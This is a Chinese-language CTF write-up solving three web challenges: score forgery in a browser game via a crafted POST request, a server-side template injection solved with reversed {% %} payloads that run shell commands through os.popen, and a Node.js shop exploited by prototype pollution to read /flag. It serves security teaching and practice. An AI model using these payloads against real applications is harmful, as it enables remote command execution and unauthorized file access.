WEB
dino3d
进入后是一个3d版的游戏,死亡后会提示说玩够一百万分就能拿到flag
先来个非预期
我们在控制台可以看到score的属性
我们可以通过修改score.score的方式来修改我们的分数
然后是预期解
在js的源码里可以看到最后有这么一部分
sn(e, t) {
e && t && fetch("/check.php", {
method: "POST",
headers: {
"Content-type": "application/x-www-form-urlencoded; charset=UTF-8"
},
body: "score=" + parseInt(e).toString() + "&checkCode=" + md5(parseInt(e).toString() + t) + "&tm=" + (+new Date).toString().substring(0, 10)
}).then(e=>e.text()).then(e=>alert(e))
}
e和t分别为分数和checkCode
checkCode由两部分组成
所以t=checkCode=DASxCBCTF_wElc03e
也就是向check.php发送post请求,其中有三个参数,score、checkCode、tm,score是我们的分数。我们可以设成1000000,这里的checkCode是md5(score.score+checkCode),及md5(1000000DASxCBCTF_wElc03e),tm就是个时间戳
所以可以编写脚本
import requests
import time
url = 'http://node4.buuoj.cn:27211/check.php'
headers = {
"Content-type": "application/x-www-form-urlencoded; charset=UTF-8"
}
data = {
"score": "1000000",
"checkCode": '4639d0ab43e9030749f450eb6e9fbb97',
"tm": str(time.time())[:10]
}
rep = requests.post(url, data=data, headers=headers).text
print(rep)
Text Reverser
SSTI但是过滤了{{
,然后还把输入的内容进行了反序输出的操作,所以我们的payload在输入之前就要有一个反序的操作
{{
没了可以用{%%}
替代
照着这个payload改一下
{%print(''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read())%}
改了之后的payload为
{%print(''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('nl /flag').read())%}
然后逆序一下
}%))(daer.)'galf/ ln'(]'nepop'[__slabolg__.__tini__.]231[)(__sessalcbus__.__esab__.__ssalc__.''(tnirp%{
cbshop
js的题,有附件,down下来审一下,主要是app.js。
题目主要功能就是用钱来买flag,但是普通用户只有10$,不可能买到11$的flag,而admin用户有9999,可以用来购买flag,于是我们就需要登录admin账号
从这里可以得到密码
登录之后发现钱够了但还是买不到flag。因为源码里在购买的部分还存在验证
product的值就是我们的传参
然后存在三个if判断,首先判断id是否为2,然后判断money是否大于11,并且是否存在一个user.token,最后一个if判断我们post传入的内容是否有flag这个关键字,如果有就提示go to ’readFileSync‘。如果没有就读取文件名为name的值的文件里面的内容。
第一个条件好满足,我们先来看第二个。首先我们知道user的构造如下,并没有token这个属性
所以如果我们想添加一个user.token的值,就需要借助原型链污染(js漏洞 | Ethe's blog (ethe448.github.io))。而代码中正好存在利用的地方,这是一个进行复制操作的函数。
Object.assign(order[user.username], product);
如果user.username=__proto__,那么在执行这段代码的时候,就会造成我们的原型链污染。product的值我们可控。也就实现了为其添加user对象添加token属性的目的
所以首先是把user.username改成__proto__
接下来就是传入product,name的值是我们想读的文件名,也就是/flag,然后添加一个token属性就可以。
由于第三个if的原因,所以第一次传参的时候是会被拦下来的。所以我们需要第二次传参,因为之前我们以及把name的值赋成了/flag,所以第二次传参就不再需要了(其实第二次随便传个json格式的内容就行,只要不覆盖第一次传的值。)。